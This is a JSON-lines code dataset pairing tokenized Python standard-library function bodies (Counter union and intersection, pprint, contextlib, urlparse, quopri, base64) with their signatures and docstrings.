{"signature": "def __or__(self, other):", "body": "if not isinstance(other, Counter):<EOL><INDENT>return NotImplemented<EOL><DEDENT>result = Counter()<EOL>for elem, count in self.items():<EOL><INDENT>other_count = other[elem]<EOL>newcount = other_count if count < other_count else count<EOL>if newcount > <NUM_LIT:0>:<EOL><INDENT>result[elem] = newcount<EOL><DEDENT><DEDENT>for elem, count in other.items():<EOL><INDENT>if elem not in self and count > <NUM_LIT:0>:<EOL><INDENT>result[elem] = count<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Union is the maximum of value in either of the input counters.\n\n        >>> Counter('abbb') | Counter('bcc')\n        Counter({'b': 3, 'c': 2, 'a': 1})", "id": "f16398:c1:m13"}
{"signature": "def __and__(self, other):", "body": "if not isinstance(other, Counter):<EOL><INDENT>return NotImplemented<EOL><DEDENT>result = Counter()<EOL>for elem, count in self.items():<EOL><INDENT>other_count = other[elem]<EOL>newcount = count if count < other_count else other_count<EOL>if newcount > <NUM_LIT:0>:<EOL><INDENT>result[elem] = newcount<EOL><DEDENT><DEDENT>return result<EOL>", "docstring": "Intersection is the minimum of corresponding counts.\n\n        >>> Counter('abbb') & Counter('bcc')\n        Counter({'b': 1})", "id": "f16398:c1:m14"}
{"signature": "def pprint(o, stream=None, indent=<NUM_LIT:1>, width=<NUM_LIT>, depth=None):", "body": "printer = PrettyPrinter(<EOL>stream=stream, indent=indent, width=width, depth=depth)<EOL>printer.pprint(o)<EOL>", "docstring": "Pretty-print a Python o to a stream [default is sys.stdout].", "id": "f16399:m0"}
{"signature": "def pformat(o, indent=<NUM_LIT:1>, width=<NUM_LIT>, depth=None):", "body": "return PrettyPrinter(indent=indent, width=width, depth=depth).pformat(o)<EOL>", "docstring": "Format a Python o into a pretty-printed representation.", "id": "f16399:m1"}
{"signature": "def saferepr(o):", "body": "return _safe_repr(o, {}, None, <NUM_LIT:0>)[<NUM_LIT:0>]<EOL>", "docstring": "Version of repr() which can handle recursive data structures.", "id": "f16399:m2"}
{"signature": "def isreadable(o):", "body": "return _safe_repr(o, {}, None, <NUM_LIT:0>)[<NUM_LIT:1>]<EOL>", "docstring": "Determine if saferepr(o) is readable by eval().", "id": "f16399:m3"}
{"signature": "def isrecursive(o):", "body": "return _safe_repr(o, {}, None, <NUM_LIT:0>)[<NUM_LIT:2>]<EOL>", "docstring": "Determine if o requires a recursive representation.", "id": "f16399:m4"}
{"signature": "def __init__(self, indent=<NUM_LIT:1>, width=<NUM_LIT>, depth=None, stream=None):", "body": "indent = int(indent)<EOL>width = int(width)<EOL>assert indent >= <NUM_LIT:0>, \"<STR_LIT>\"<EOL>assert depth is None or depth > <NUM_LIT:0>, \"<STR_LIT>\"<EOL>assert width, \"<STR_LIT>\"<EOL>self._depth = depth<EOL>self._indent_per_level = indent<EOL>self._width = width<EOL>if stream is not None:<EOL><INDENT>self._stream = stream<EOL><DEDENT>else:<EOL><INDENT>self._stream = _sys.stdout<EOL><DEDENT>", "docstring": "Handle pretty printing operations onto a stream using a set of\n        configured parameters.\n\n        indent\n            Number of spaces to indent for each level of nesting.\n\n        width\n            Attempted maximum number of columns in the output.\n\n        depth\n            The maximum depth to print out nested structures.\n\n        stream\n            The desired output stream.  If omitted (or false), the standard\n            output stream available at construction will be used.", "id": "f16399:c0:m0"}
{"signature": "def format(self, o, context, maxlevels, level):", "body": "return _safe_repr(o, context, maxlevels, level)<EOL>", "docstring": "Format o for a specific context, returning a string\n        and flags indicating whether the representation is 'readable'\n        and whether the o represents a recursive construct.", "id": "f16399:c0:m7"}
{"signature": "def contextmanager(func):", "body": "@wraps(func)<EOL>def helper(*args, **kwds):<EOL><INDENT>return GeneratorContextManager(func(*args, **kwds))<EOL><DEDENT>return helper<EOL>", "docstring": "@contextmanager decorator.\n\n    Typical usage:\n\n        @contextmanager\n        def some_generator(<arguments>):\n            <setup>\n            try:\n                yield <value>\n            finally:\n                <cleanup>\n\n    This makes this:\n\n        with some_generator(<arguments>) as <variable>:\n            <body>\n\n    equivalent to this:\n\n        <setup>\n        try:\n            <variable> = <value>\n            <body>\n        finally:\n            <cleanup>", "id": "f16400:m0"}
{"signature": "@contextmanager<EOL>def nested(*managers):", "body": "warn(\"<STR_LIT>\",<EOL>DeprecationWarning, <NUM_LIT:3>)<EOL>exits = []<EOL>vars = []<EOL>exc = (None, None, None)<EOL>try:<EOL><INDENT>for mgr in managers:<EOL><INDENT>exit = mgr.__exit__<EOL>enter = mgr.__enter__<EOL>vars.append(enter())<EOL>exits.append(exit)<EOL><DEDENT>yield vars<EOL><DEDENT>except:<EOL><INDENT>exc = sys.exc_info()<EOL><DEDENT>finally:<EOL><INDENT>while exits:<EOL><INDENT>exit = exits.pop()<EOL>try:<EOL><INDENT>if exit(*exc):<EOL><INDENT>exc = (None, None, None)<EOL><DEDENT><DEDENT>except:<EOL><INDENT>exc = sys.exc_info()<EOL><DEDENT><DEDENT>if exc != (None, None, None):<EOL><INDENT>raise exc[<NUM_LIT:0>](exc[<NUM_LIT:1>]).with_traceback(exc[<NUM_LIT:2>])<EOL><DEDENT><DEDENT>", "docstring": "Combine multiple context managers into a single nested context manager.\n\n   This function has been deprecated in favour of the multiple manager form\n   of the with statement.\n\n   The one advantage of this function over the multiple manager form of the\n   with statement is that argument unpacking allows it to be\n   used with a variable number of context managers as follows:\n\n      with nested(*managers):\n          do_something()", "id": "f16400:m1"}
{"signature": "def clear_cache():", "body": "_parse_cache.clear()<EOL>", "docstring": "Clear the parse cache.", "id": "f16401:m0"}
{"signature": "def urlparse(url, scheme='<STR_LIT>', allow_fragments=True):", "body": "tuple = urlsplit(url, scheme, allow_fragments)<EOL>scheme, netloc, url, query, fragment = tuple<EOL>if scheme in uses_params and '<STR_LIT:;>' in url:<EOL><INDENT>url, params = _splitparams(url)<EOL><DEDENT>else:<EOL><INDENT>params = '<STR_LIT>'<EOL><DEDENT>return ParseResult(scheme, netloc, url, params, query, fragment)<EOL>", "docstring": "Parse a URL into 6 components:\n    <scheme>://<netloc>/<path>;<params>?<query>#<fragment>\n    Return a 6-tuple: (scheme, netloc, path, params, query, fragment).\n    Note that we don't break the components up in smaller bits\n    (e.g. netloc is a single string) and we don't expand % escapes.", "id": "f16401:m1"}
{"signature": "def urlsplit(url, scheme='<STR_LIT>', allow_fragments=True):", "body": "allow_fragments = bool(allow_fragments)<EOL>key = url, scheme, allow_fragments, type(url), type(scheme)<EOL>cached = _parse_cache.get(key, None)<EOL>if cached:<EOL><INDENT>return cached<EOL><DEDENT>if len(_parse_cache) >= MAX_CACHE_SIZE: <EOL><INDENT>clear_cache()<EOL><DEDENT>netloc = query = fragment = '<STR_LIT>'<EOL>i = url.find('<STR_LIT::>')<EOL>if i > <NUM_LIT:0>:<EOL><INDENT>if url[:i] == '<STR_LIT:http>': <EOL><INDENT>scheme = url[:i].lower()<EOL>url = url[i+<NUM_LIT:1>:]<EOL>if url[:<NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>netloc, url = _splitnetloc(url, <NUM_LIT:2>)<EOL>if (('<STR_LIT:[>' in netloc and '<STR_LIT:]>' not in netloc) or<EOL>('<STR_LIT:]>' in netloc and '<STR_LIT:[>' not in netloc)):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>if allow_fragments and '<STR_LIT:#>' in url:<EOL><INDENT>url, fragment = url.split('<STR_LIT:#>', <NUM_LIT:1>)<EOL><DEDENT>if '<STR_LIT:?>' in url:<EOL><INDENT>url, query = url.split('<STR_LIT:?>', <NUM_LIT:1>)<EOL><DEDENT>v = SplitResult(scheme, netloc, url, query, fragment)<EOL>_parse_cache[key] = v<EOL>return v<EOL><DEDENT>for c in url[:i]:<EOL><INDENT>if c not in scheme_chars:<EOL><INDENT>break<EOL><DEDENT><DEDENT>else:<EOL><INDENT>rest = url[i+<NUM_LIT:1>:]<EOL>if not rest or any(c not in '<STR_LIT>' for c in rest):<EOL><INDENT>scheme, url = url[:i].lower(), rest<EOL><DEDENT><DEDENT><DEDENT>if url[:<NUM_LIT:2>] == '<STR_LIT>':<EOL><INDENT>netloc, url = _splitnetloc(url, <NUM_LIT:2>)<EOL>if (('<STR_LIT:[>' in netloc and '<STR_LIT:]>' not in netloc) or<EOL>('<STR_LIT:]>' in netloc and '<STR_LIT:[>' not in netloc)):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>if allow_fragments and '<STR_LIT:#>' in url:<EOL><INDENT>url, fragment = url.split('<STR_LIT:#>', <NUM_LIT:1>)<EOL><DEDENT>if '<STR_LIT:?>' in url:<EOL><INDENT>url, query = url.split('<STR_LIT:?>', <NUM_LIT:1>)<EOL><DEDENT>v = SplitResult(scheme, netloc, url, query, fragment)<EOL>_parse_cache[key] = v<EOL>return v<EOL>", "docstring": "Parse a URL into 5 components:\n    <scheme>://<netloc>/<path>?<query>#<fragment>\n    Return a 5-tuple: (scheme, netloc, path, query, fragment).\n    Note that we don't break the components up in smaller bits\n    (e.g. netloc is a single string) and we don't expand % escapes.", "id": "f16401:m4"}
{"signature": "def urlunparse(data):", "body": "scheme, netloc, url, params, query, fragment = data<EOL>if params:<EOL><INDENT>url = \"<STR_LIT>\" % (url, params)<EOL><DEDENT>return urlunsplit((scheme, netloc, url, query, fragment))<EOL>", "docstring": "Put a parsed URL back together again.  This may result in a\n    slightly different, but equivalent URL, if the URL that was parsed\n    originally had redundant delimiters, e.g. a ? with an empty query\n    (the draft states that these are equivalent).", "id": "f16401:m5"}
{"signature": "def urlunsplit(data):", "body": "scheme, netloc, url, query, fragment = data<EOL>if netloc or (scheme and scheme in uses_netloc and url[:<NUM_LIT:2>] != '<STR_LIT>'):<EOL><INDENT>if url and url[:<NUM_LIT:1>] != '<STR_LIT:/>': url = '<STR_LIT:/>' + url<EOL>url = '<STR_LIT>' + (netloc or '<STR_LIT>') + url<EOL><DEDENT>if scheme:<EOL><INDENT>url = scheme + '<STR_LIT::>' + url<EOL><DEDENT>if query:<EOL><INDENT>url = url + '<STR_LIT:?>' + query<EOL><DEDENT>if fragment:<EOL><INDENT>url = url + '<STR_LIT:#>' + fragment<EOL><DEDENT>return url<EOL>", "docstring": "Combine the elements of a tuple as returned by urlsplit() into a\n    complete URL as a string. The data argument can be any five-item iterable.\n    This may result in a slightly different, but equivalent URL, if the URL that\n    was parsed originally had unnecessary delimiters (for example, a ? with an\n    empty query; the RFC states that these are equivalent).", "id": "f16401:m6"}
{"signature": "def urljoin(base, url, allow_fragments=True):", "body": "if not base:<EOL><INDENT>return url<EOL><DEDENT>if not url:<EOL><INDENT>return base<EOL><DEDENT>bscheme, bnetloc, bpath, bparams, bquery, bfragment =urlparse(base, '<STR_LIT>', allow_fragments)<EOL>scheme, netloc, path, params, query, fragment =urlparse(url, bscheme, allow_fragments)<EOL>if scheme != bscheme or scheme not in uses_relative:<EOL><INDENT>return url<EOL><DEDENT>if scheme in uses_netloc:<EOL><INDENT>if netloc:<EOL><INDENT>return urlunparse((scheme, netloc, path,<EOL>params, query, fragment))<EOL><DEDENT>netloc = bnetloc<EOL><DEDENT>if path[:<NUM_LIT:1>] == '<STR_LIT:/>':<EOL><INDENT>return urlunparse((scheme, netloc, path,<EOL>params, query, fragment))<EOL><DEDENT>if not path and not params:<EOL><INDENT>path = bpath<EOL>params = bparams<EOL>if not query:<EOL><INDENT>query = bquery<EOL><DEDENT>return urlunparse((scheme, netloc, path,<EOL>params, query, fragment))<EOL><DEDENT>segments = bpath.split('<STR_LIT:/>')[:-<NUM_LIT:1>] + path.split('<STR_LIT:/>')<EOL>if segments[-<NUM_LIT:1>] == '<STR_LIT:.>':<EOL><INDENT>segments[-<NUM_LIT:1>] = '<STR_LIT>'<EOL><DEDENT>while '<STR_LIT:.>' in segments:<EOL><INDENT>segments.remove('<STR_LIT:.>')<EOL><DEDENT>while <NUM_LIT:1>:<EOL><INDENT>i = <NUM_LIT:1><EOL>n = len(segments) - <NUM_LIT:1><EOL>while i < n:<EOL><INDENT>if (segments[i] == '<STR_LIT:..>'<EOL>and segments[i-<NUM_LIT:1>] not in ('<STR_LIT>', '<STR_LIT:..>')):<EOL><INDENT>del segments[i-<NUM_LIT:1>:i+<NUM_LIT:1>]<EOL>break<EOL><DEDENT>i = i+<NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>if segments == ['<STR_LIT>', '<STR_LIT:..>']:<EOL><INDENT>segments[-<NUM_LIT:1>] = '<STR_LIT>'<EOL><DEDENT>elif len(segments) >= <NUM_LIT:2> and segments[-<NUM_LIT:1>] == '<STR_LIT:..>':<EOL><INDENT>segments[-<NUM_LIT:2>:] = ['<STR_LIT>']<EOL><DEDENT>return urlunparse((scheme, netloc, '<STR_LIT:/>'.join(segments),<EOL>params, query, fragment))<EOL>", "docstring": "Join a base URL and a possibly relative URL to form an absolute\n    interpretation of the latter.", "id": "f16401:m7"}
{"signature": "def urldefrag(url):", "body": "if '<STR_LIT:#>' in url:<EOL><INDENT>s, n, p, a, q, frag = urlparse(url)<EOL>defrag = urlunparse((s, n, p, a, q, '<STR_LIT>'))<EOL>return defrag, frag<EOL><DEDENT>else:<EOL><INDENT>return url, '<STR_LIT>'<EOL><DEDENT>", "docstring": "Removes any existing fragment from URL.\n\n    Returns a tuple of the defragmented URL and the fragment.  If\n    the URL contained no fragments, the second element is the\n    empty string.", "id": "f16401:m8"}
{"signature": "def unquote(s):", "body": "if _is_unicode(s):<EOL><INDENT>if '<STR_LIT:%>' not in s:<EOL><INDENT>return s<EOL><DEDENT>bits = _asciire.split(s)<EOL>res = [bits[<NUM_LIT:0>]]<EOL>append = res.append<EOL>for i in range(<NUM_LIT:1>, len(bits), <NUM_LIT:2>):<EOL><INDENT>append(unquote(str(bits[i])).decode('<STR_LIT>'))<EOL>append(bits[i + <NUM_LIT:1>])<EOL><DEDENT>return '<STR_LIT>'.join(res)<EOL><DEDENT>bits = s.split('<STR_LIT:%>')<EOL>if len(bits) == <NUM_LIT:1>:<EOL><INDENT>return s<EOL><DEDENT>res = [bits[<NUM_LIT:0>]]<EOL>append = res.append<EOL>for item in bits[<NUM_LIT:1>:]:<EOL><INDENT>try:<EOL><INDENT>append(_hextochr[item[:<NUM_LIT:2>]])<EOL>append(item[<NUM_LIT:2>:])<EOL><DEDENT>except KeyError:<EOL><INDENT>append('<STR_LIT:%>')<EOL>append(item)<EOL><DEDENT><DEDENT>return '<STR_LIT>'.join(res)<EOL>", "docstring": "unquote('abc%20def') -> 'abc def'.", "id": "f16401:m9"}
{"signature": "def parse_qs(qs, keep_blank_values=<NUM_LIT:0>, strict_parsing=<NUM_LIT:0>):", "body": "dict = {}<EOL>for name, value in parse_qsl(qs, keep_blank_values, strict_parsing):<EOL><INDENT>if name in dict:<EOL><INDENT>dict[name].append(value)<EOL><DEDENT>else:<EOL><INDENT>dict[name] = [value]<EOL><DEDENT><DEDENT>return dict<EOL>", "docstring": "Parse a query given as a string argument.\n\n        Arguments:\n\n        qs: percent-encoded query string to be parsed\n\n        keep_blank_values: flag indicating whether blank values in\n            percent-encoded queries should be treated as blank strings.\n            A true value indicates that blanks should be retained as\n            blank strings.  The default false value indicates that\n            blank values are to be ignored and treated as if they were\n            not included.\n\n        strict_parsing: flag indicating what to do with parsing errors.\n            If false (the default), errors are silently ignored.\n            If true, errors raise a ValueError exception.", "id": "f16401:m10"}
{"signature": "def parse_qsl(qs, keep_blank_values=<NUM_LIT:0>, strict_parsing=<NUM_LIT:0>):", "body": "pairs = [s2 for s1 in qs.split('<STR_LIT:&>') for s2 in s1.split('<STR_LIT:;>')]<EOL>r = []<EOL>for name_value in pairs:<EOL><INDENT>if not name_value and not strict_parsing:<EOL><INDENT>continue<EOL><DEDENT>nv = name_value.split('<STR_LIT:=>', <NUM_LIT:1>)<EOL>if len(nv) != <NUM_LIT:2>:<EOL><INDENT>if strict_parsing:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" % (name_value,))<EOL><DEDENT>if keep_blank_values:<EOL><INDENT>nv.append('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>continue<EOL><DEDENT><DEDENT>if len(nv[<NUM_LIT:1>]) or keep_blank_values:<EOL><INDENT>name = unquote(nv[<NUM_LIT:0>].replace('<STR_LIT:+>', '<STR_LIT:U+0020>'))<EOL>value = unquote(nv[<NUM_LIT:1>].replace('<STR_LIT:+>', '<STR_LIT:U+0020>'))<EOL>r.append((name, value))<EOL><DEDENT><DEDENT>return r<EOL>", "docstring": "Parse a query given as a string argument.\n\n    Arguments:\n\n    qs: percent-encoded query string to be parsed\n\n    keep_blank_values: flag indicating whether blank values in\n        percent-encoded queries should be treated as blank strings.  A\n        true value indicates that blanks should be retained as blank\n        strings.  The default false value indicates that blank values\n        are to be ignored and treated as if they were  not included.\n\n    strict_parsing: flag indicating what to do with parsing errors. If\n        false (the default), errors are silently ignored. If true,\n        errors raise a ValueError exception.\n\n    Returns a list, as G-d intended.", "id": "f16401:m11"}
{"signature": "def __new__(_cls, scheme, netloc, path, query, fragment):", "body": "return _tuple.__new__(_cls, (scheme, netloc, path, query, fragment))<EOL>", "docstring": "Create new instance of SplitResult(scheme, netloc, path, query, fragment)", "id": "f16401:c1:m0"}
{"signature": "def _make(cls, iterable, new=tuple.__new__, len=len):", "body": "result = new(cls, iterable)<EOL>if len(result) != <NUM_LIT:5>:<EOL><INDENT>raise TypeError('<STR_LIT>' % len(result))<EOL><DEDENT>return result<EOL>", "docstring": "Make a new SplitResult object from a sequence or iterable", "id": "f16401:c1:m1"}
{"signature": "def __repr__(self):", "body": "return '<STR_LIT>' % self<EOL>", "docstring": "Return a nicely formatted representation string", "id": "f16401:c1:m2"}
{"signature": "def _asdict(self):", "body": "return OrderedDict(list(zip(self._fields, self)))<EOL>", "docstring": "Return a new OrderedDict which maps field names to their values", "id": "f16401:c1:m3"}
{"signature": "def _replace(_self, **kwds):", "body": "result = _self._make(list(map(kwds.pop, ('<STR_LIT>', '<STR_LIT>', '<STR_LIT:path>', '<STR_LIT>', '<STR_LIT>'), _self)))<EOL>if kwds:<EOL><INDENT>raise ValueError('<STR_LIT>' % list(kwds.keys()))<EOL><DEDENT>return result<EOL>", "docstring": "Return a new SplitResult object replacing specified fields with new values", "id": "f16401:c1:m4"}
{"signature": "def __getnewargs__(self):", "body": "return tuple(self)<EOL>", "docstring": "Return self as a plain tuple.  Used by copy and pickle.", "id": "f16401:c1:m5"}
{"signature": "def __getstate__(self):", "body": "pass<EOL>", "docstring": "Exclude the OrderedDict from pickling", "id": "f16401:c1:m6"}
{"signature": "def __new__(_cls, scheme, netloc, path, params, query, fragment):", "body": "return _tuple.__new__(_cls, (scheme, netloc, path, params, query, fragment))<EOL>", "docstring": "Create new instance of ParseResult(scheme, netloc, path, params, query, fragment)", "id": "f16401:c3:m0"}
{"signature": "def _make(cls, iterable, new=tuple.__new__, len=len):", "body": "result = new(cls, iterable)<EOL>if len(result) != <NUM_LIT:6>:<EOL><INDENT>raise TypeError('<STR_LIT>' % len(result))<EOL><DEDENT>return result<EOL>", "docstring": "Make a new ParseResult object from a sequence or iterable", "id": "f16401:c3:m1"}
{"signature": "def __repr__(self):", "body": "return '<STR_LIT>' % self<EOL>", "docstring": "Return a nicely formatted representation string", "id": "f16401:c3:m2"}
{"signature": "def _asdict(self):", "body": "return OrderedDict(list(zip(self._fields, self)))<EOL>", "docstring": "Return a new OrderedDict which maps field names to their values", "id": "f16401:c3:m3"}
{"signature": "def _replace(_self, **kwds):", "body": "result = _self._make(list(map(kwds.pop, ('<STR_LIT>', '<STR_LIT>', '<STR_LIT:path>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>'), _self)))<EOL>if kwds:<EOL><INDENT>raise ValueError('<STR_LIT>' % list(kwds.keys()))<EOL><DEDENT>return result<EOL>", "docstring": "Return a new ParseResult object replacing specified fields with new values", "id": "f16401:c3:m4"}
{"signature": "def __getnewargs__(self):", "body": "return tuple(self)<EOL>", "docstring": "Return self as a plain tuple.  Used by copy and pickle.", "id": "f16401:c3:m5"}
{"signature": "def __getstate__(self):", "body": "pass<EOL>", "docstring": "Exclude the OrderedDict from pickling", "id": "f16401:c3:m6"}
{"signature": "def needsquoting(c, quotetabs, header):", "body": "if c in '<STR_LIT>':<EOL><INDENT>return quotetabs<EOL><DEDENT>if c == '<STR_LIT:_>':<EOL><INDENT>return header<EOL><DEDENT>return c == ESCAPE or not ('<STR_LIT:U+0020>' <= c <= '<STR_LIT>')<EOL>", "docstring": "Decide whether a particular character needs to be quoted.\n\n    The 'quotetabs' flag indicates whether embedded tabs and spaces should be\n    quoted.  Note that line-ending tabs and spaces are always encoded, as per\n    RFC 1521.", "id": "f16402:m0"}
{"signature": "def quote(c):", "body": "i = ord(c)<EOL>return ESCAPE + HEX[i//<NUM_LIT:16>] + HEX[i%<NUM_LIT:16>]<EOL>", "docstring": "Quote a single character.", "id": "f16402:m1"}
{"signature": "def encode(input, output, quotetabs, header = <NUM_LIT:0>):", "body": "if b2a_qp is not None:<EOL><INDENT>data = input.read()<EOL>odata = b2a_qp(data, quotetabs = quotetabs, header = header)<EOL>output.write(odata)<EOL>return<EOL><DEDENT>def write(s, output=output, lineEnd='<STR_LIT:\\n>'):<EOL><INDENT>if s and s[-<NUM_LIT:1>:] in '<STR_LIT>':<EOL><INDENT>output.write(s[:-<NUM_LIT:1>] + quote(s[-<NUM_LIT:1>]) + lineEnd)<EOL><DEDENT>elif s == '<STR_LIT:.>':<EOL><INDENT>output.write(quote(s) + lineEnd)<EOL><DEDENT>else:<EOL><INDENT>output.write(s + lineEnd)<EOL><DEDENT><DEDENT>prevline = None<EOL>while <NUM_LIT:1>:<EOL><INDENT>line = input.readline()<EOL>if not line:<EOL><INDENT>break<EOL><DEDENT>outline = []<EOL>stripped = '<STR_LIT>'<EOL>if line[-<NUM_LIT:1>:] == '<STR_LIT:\\n>':<EOL><INDENT>line = line[:-<NUM_LIT:1>]<EOL>stripped = '<STR_LIT:\\n>'<EOL><DEDENT>for c in line:<EOL><INDENT>if needsquoting(c, quotetabs, header):<EOL><INDENT>c = quote(c)<EOL><DEDENT>if header and c == '<STR_LIT:U+0020>':<EOL><INDENT>outline.append('<STR_LIT:_>')<EOL><DEDENT>else:<EOL><INDENT>outline.append(c)<EOL><DEDENT><DEDENT>if prevline is not None:<EOL><INDENT>write(prevline)<EOL><DEDENT>thisline = EMPTYSTRING.join(outline)<EOL>while len(thisline) > MAXLINESIZE:<EOL><INDENT>write(thisline[:MAXLINESIZE-<NUM_LIT:1>], lineEnd='<STR_LIT>')<EOL>thisline = thisline[MAXLINESIZE-<NUM_LIT:1>:]<EOL><DEDENT>prevline = thisline<EOL><DEDENT>if prevline is not None:<EOL><INDENT>write(prevline, lineEnd=stripped)<EOL><DEDENT>", "docstring": "Read 'input', apply quoted-printable encoding, and write to 'output'.\n\n    'input' and 'output' are files with readline() and write() methods.\n    The 'quotetabs' flag indicates whether embedded tabs and spaces should be\n    quoted.  Note that line-ending tabs and spaces are always encoded, as per\n    RFC 1521.\n    The 'header' flag indicates whether we are encoding spaces as _ as per\n    RFC 1522.", "id": "f16402:m2"}
{"signature": "def decode(input, output, header = <NUM_LIT:0>):", "body": "if a2b_qp is not None:<EOL><INDENT>data = input.read()<EOL>odata = a2b_qp(data, header = header)<EOL>output.write(odata)<EOL>return<EOL><DEDENT>new = '<STR_LIT>'<EOL>while <NUM_LIT:1>:<EOL><INDENT>line = input.readline()<EOL>if not line: break<EOL>i, n = <NUM_LIT:0>, len(line)<EOL>if n > <NUM_LIT:0> and line[n-<NUM_LIT:1>] == '<STR_LIT:\\n>':<EOL><INDENT>partial = <NUM_LIT:0>; n = n-<NUM_LIT:1><EOL>while n > <NUM_LIT:0> and line[n-<NUM_LIT:1>] in \"<STR_LIT>\":<EOL><INDENT>n = n-<NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>partial = <NUM_LIT:1><EOL><DEDENT>while i < n:<EOL><INDENT>c = line[i]<EOL>if c == '<STR_LIT:_>' and header:<EOL><INDENT>new = new + '<STR_LIT:U+0020>'; i = i+<NUM_LIT:1><EOL><DEDENT>elif c != ESCAPE:<EOL><INDENT>new = new + c; i = i+<NUM_LIT:1><EOL><DEDENT>elif i+<NUM_LIT:1> == n and not partial:<EOL><INDENT>partial = <NUM_LIT:1>; break<EOL><DEDENT>elif i+<NUM_LIT:1> < n and line[i+<NUM_LIT:1>] == ESCAPE:<EOL><INDENT>new = new + ESCAPE; i = i+<NUM_LIT:2><EOL><DEDENT>elif i+<NUM_LIT:2> < n and ishex(line[i+<NUM_LIT:1>]) and ishex(line[i+<NUM_LIT:2>]):<EOL><INDENT>new = new + chr(unhex(line[i+<NUM_LIT:1>:i+<NUM_LIT:3>])); i = i+<NUM_LIT:3><EOL><DEDENT>else: <EOL><INDENT>new = new + c; i = i+<NUM_LIT:1><EOL><DEDENT><DEDENT>if not partial:<EOL><INDENT>output.write(new + '<STR_LIT:\\n>')<EOL>new = '<STR_LIT>'<EOL><DEDENT><DEDENT>if new:<EOL><INDENT>output.write(new)<EOL><DEDENT>", "docstring": "Read 'input', apply quoted-printable decoding, and write to 'output'.\n    'input' and 'output' are files with readline() and write() methods.\n    If 'header' is true, decode underscore as space (per RFC 1522).", "id": "f16402:m4"}
{"signature": "def ishex(c):", "body": "return '<STR_LIT:0>' <= c <= '<STR_LIT>' or '<STR_LIT:a>' <= c <= '<STR_LIT:f>' or '<STR_LIT:A>' <= c <= '<STR_LIT:F>'<EOL>", "docstring": "Return true if the character 'c' is a hexadecimal digit.", "id": "f16402:m6"}
{"signature": "def unhex(s):", "body": "bits = <NUM_LIT:0><EOL>for c in s:<EOL><INDENT>if '<STR_LIT:0>' <= c <= '<STR_LIT>':<EOL><INDENT>i = ord('<STR_LIT:0>')<EOL><DEDENT>elif '<STR_LIT:a>' <= c <= '<STR_LIT:f>':<EOL><INDENT>i = ord('<STR_LIT:a>')-<NUM_LIT:10><EOL><DEDENT>elif '<STR_LIT:A>' <= c <= '<STR_LIT:F>':<EOL><INDENT>i = ord('<STR_LIT:A>')-<NUM_LIT:10><EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT>bits = bits*<NUM_LIT:16> + (ord(c) - i)<EOL><DEDENT>return bits<EOL>", "docstring": "Get the integer value of a hexadecimal number.", "id": "f16402:m7"}
{"signature": "def b64encode(s, altchars=None):", "body": "<EOL>encoded = binascii.b2a_base64(s)[:-<NUM_LIT:1>]<EOL>if altchars is not None:<EOL><INDENT>return encoded.translate(string.maketrans(b'<STR_LIT>', altchars[:<NUM_LIT:2>]))<EOL><DEDENT>return encoded<EOL>", "docstring": "Encode a string using Base64.\n\n    s is the string to encode.  Optional altchars must be a string of at least\n    length 2 (additional characters are ignored) which specifies an\n    alternative alphabet for the '+' and '/' characters.  This allows an\n    application to e.g. generate url or filesystem safe Base64 strings.\n\n    The encoded string is returned.", "id": "f16403:m1"}
{"signature": "def b64decode(s, altchars=None):", "body": "if altchars is not None:<EOL><INDENT>s = s.translate(string.maketrans(altchars[:<NUM_LIT:2>], '<STR_LIT>'))<EOL><DEDENT>try:<EOL><INDENT>return binascii.a2b_base64(s)<EOL><DEDENT>except binascii.Error as msg:<EOL><INDENT>raise TypeError(msg)<EOL><DEDENT>", "docstring": "Decode a Base64 encoded string.\n\n    s is the string to decode.  Optional altchars must be a string of at least\n    length 2 (additional characters are ignored) which specifies the\n    alternative alphabet used instead of the '+' and '/' characters.\n\n    The decoded string is returned.  A TypeError is raised if s is\n    incorrectly padded.  Characters that are neither in the normal base-64\n    alphabet nor the alternative alphabet are discarded prior to the padding\n    check.", "id": "f16403:m2"}
{"signature": "def standard_b64encode(s):", "body": "return b64encode(s)<EOL>", "docstring": "Encode a string using the standard Base64 alphabet.\n\n    s is the string to encode.  The encoded string is returned.", "id": "f16403:m3"}
{"signature": "def standard_b64decode(s):", "body": "return b64decode(s)<EOL>", "docstring": "Decode a string encoded with the standard Base64 alphabet.\n\n    Argument s is the string to decode.  The decoded string is returned.  A\n    TypeError is raised if the string is incorrectly padded.  Characters that\n    are not in the standard alphabet are discarded prior to the padding\n    check.", "id": "f16403:m4"}
{"signature": "def urlsafe_b64encode(s):", "body": "return b64encode(s).translate(_urlsafe_encode_translation)<EOL>", "docstring": "Encode a string using the URL- and filesystem-safe Base64 alphabet.\n\n    Argument s is the string to encode.  The encoded string is returned.  The\n    alphabet uses '-' instead of '+' and '_' instead of '/'.", "id": "f16403:m5"}
{"signature": "def urlsafe_b64decode(s):", "body": "return b64decode(s.translate(_urlsafe_decode_translation))<EOL>", "docstring": "Decode a string using the URL- and filesystem-safe Base64 alphabet.\n\n    Argument s is the string to decode.  The decoded string is returned.  A\n    TypeError is raised if the string is incorrectly padded.  Characters that\n    are not in the URL-safe base-64 alphabet, and are not a plus '+' or slash\n    '/', are discarded prior to the padding check.\n\n    The alphabet uses '-' instead of '+' and '_' instead of '/'.", "id": "f16403:m6"}
